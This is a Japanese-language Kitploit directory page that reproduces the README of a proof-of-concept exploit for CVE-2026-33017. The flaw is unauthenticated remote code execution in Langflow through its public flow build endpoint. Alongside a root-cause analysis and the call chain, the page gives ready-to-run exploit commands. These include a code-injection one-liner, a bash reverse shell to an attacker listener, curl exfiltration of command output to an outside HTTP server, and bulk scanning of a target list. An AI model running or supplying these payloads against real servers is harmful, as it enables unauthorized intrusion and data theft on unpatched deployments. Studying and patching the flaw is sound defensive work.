Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Langflow <= 1.8.1 における Public Flow Build Endpoint 経由の未認証リモートコード実行 | Kitploit
ツール/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Langflow <= 1.8.1 における Public Flow Build Endpoint 経由の未認証リモートコード実行

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1045ヶ月前未レビュー

CVE-2026-33017 — Langflow 未認証 RCE PoC

CVE CVSS Affected Language

教育および許可されたテスト目的にのみ使用してください。

概要

Langflow <= 1.8.1 は、攻撃者が制御する任意のコードを含むフローデータを受け入れる公開フロービルドエンドポイントを公開しています。このコードは validate.py 内の prepare_global_scope() に渡され、サンドボックスなしで exec() が呼び出されるため、認証なしでサーバープロセス権限によるリモートコード実行が可能になります。

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • 深刻度: 緊急 — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • 修正版: 1.9.0

影響を受けるバージョン

パッケージ影響を受けるバージョン修正版
pip langflow<= 1.8.11.9.0

脆弱性の詳細

根本原因

build_public_tmp エンドポイントは意図的に認証なしとなっています。保存された公開フローを誰でも実行できるように設計されているためです。問題は、このエンドポイントが攻撃者が制御するフロー定義を含むオプションの data パラメータも受け入れることです。その結果、認証されていないユーザーが任意のノードコードを送信でき、サーバーはそれを正当なフローグラフとして扱い、検証なしでコード実行ルーチンに直接渡します。

修正は単純です。data パラメータを削除し、エンドポイントが build_graph_from_db() のみを呼び出すようにすることで、公開フローは保存されたデータのみを実行し、攻撃者が供給したコードを実行しないようにします。

実行チェーン

攻撃者のペイロードは、実行に到達するまでに次の呼び出しチェーンを経由します。

モジュールレベルインジェクションが成立する理由

validate.py の prepare_global_scope() は、グラフのコンパイル中に(フローメソッドが呼び出される前に)ast.Assign ノードを処理します。そのため、注入されたコード内のトップレベルの代入は即座に実行されます。

root@kitploit:~
_r = __import__('os').system("whoami")  # runs at compile time, not at flow run time

出力は HTTP レスポンスではなく サーバーの標準出力 に送られます。外部への持ち出しには、アウトバウンドコールバック(リバースシェル、curl webhook)が必要です。

脆弱なエンドポイント

エンドポイント認証攻撃ベクトル
POST /api/v1/build_public_tmp/{flow_id}/flowなしリモート / 認証なし

悪用シナリオ

シナリオ要件
A — AUTO_LOGIN 有効AUTO_LOGIN=true: JWT トークンを匿名で取得し、PUBLIC フローを作成して悪用する
B — 既知の公開フロー共有/公開フローの UUID が既知: 認証不要で直接悪用する

使用方法

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

オプション

使用例

重要: この PoC はモジュールレベルで os.system() を使用します。コマンドはサーバー上で実行されますが、その出力は HTTP レスポンスには戻らず サーバーの標準出力 に送られます。PoC は実行が発生したこと([+] VULNERABLE)を確認するだけです。実際にコマンド出力を受け取るには、以下のいずれかの外部送信方法を使用してください。

ブラインド確認(出力を取得せずに RCE を検証)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

リバースシェル — ローカルリスナーを使用

root@kitploit:~
# 1. Start a listener on your machine
nc -lvnp 4444

# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

HTTP コールバックによる OOB 外部送信 — ローカルサーバーを使用

root@kitploit:~
# 1. Start a local HTTP server
python3 -m http.server 8080

# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

既知の公開フロー UUID を使用(フロー作成不要)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

ファイルからの一括スキャン

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

出力例

PoC は実行が発生したことを確認します。[+] VULNERABLE はビルドが成功し、注入されたコードが実行されたことを意味します。出力が取得されたことを意味するものではありません。

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

ローカル HTTP サーバーで受信した出力:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

参照

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Langflow リポジトリ
  • 関連: CVE-2025-3248 — /api/v1/validate/code における同様の exec() 問題
ツールをダウンロード
StepFileDetail
1chat.py:580build_public_tmp はリクエストボディ内の攻撃者データを受け取る
2build.py:81start_flow_build() は信頼できないペイロードを転送する
3build.py:298build_graph_from_data() はそれをグラフ構築に渡す
4base.py:1168Graph.from_payload() は攻撃者が供給したノード定義をデシリアライズする
5base.py:1323ノードごとに instantiate_component() が呼び出される
6loading.py:43カスタムコンポーネントのパラメータから code フィールドが抽出される
7eval.py:9create_class() は生の攻撃者コードを受け取る
8validate.py:397exec(compiled_code, exec_globals) — サンドボックスなし
フラグデフォルト説明
--url—単一ターゲットの Langflow URL
--url-file—1行に1つのURLを記載したテキストファイル(一括スキャン)
--cmdidターゲット上で実行する OS コマンド
--flow-id—既存の公開フローの UUID(フロー作成をスキップ)
--threads5一括モードで使用する並列スレッド数
--timeout15HTTP リクエストのタイムアウト(秒)
--no-cleanupfalse悪用後に作成したフローを残す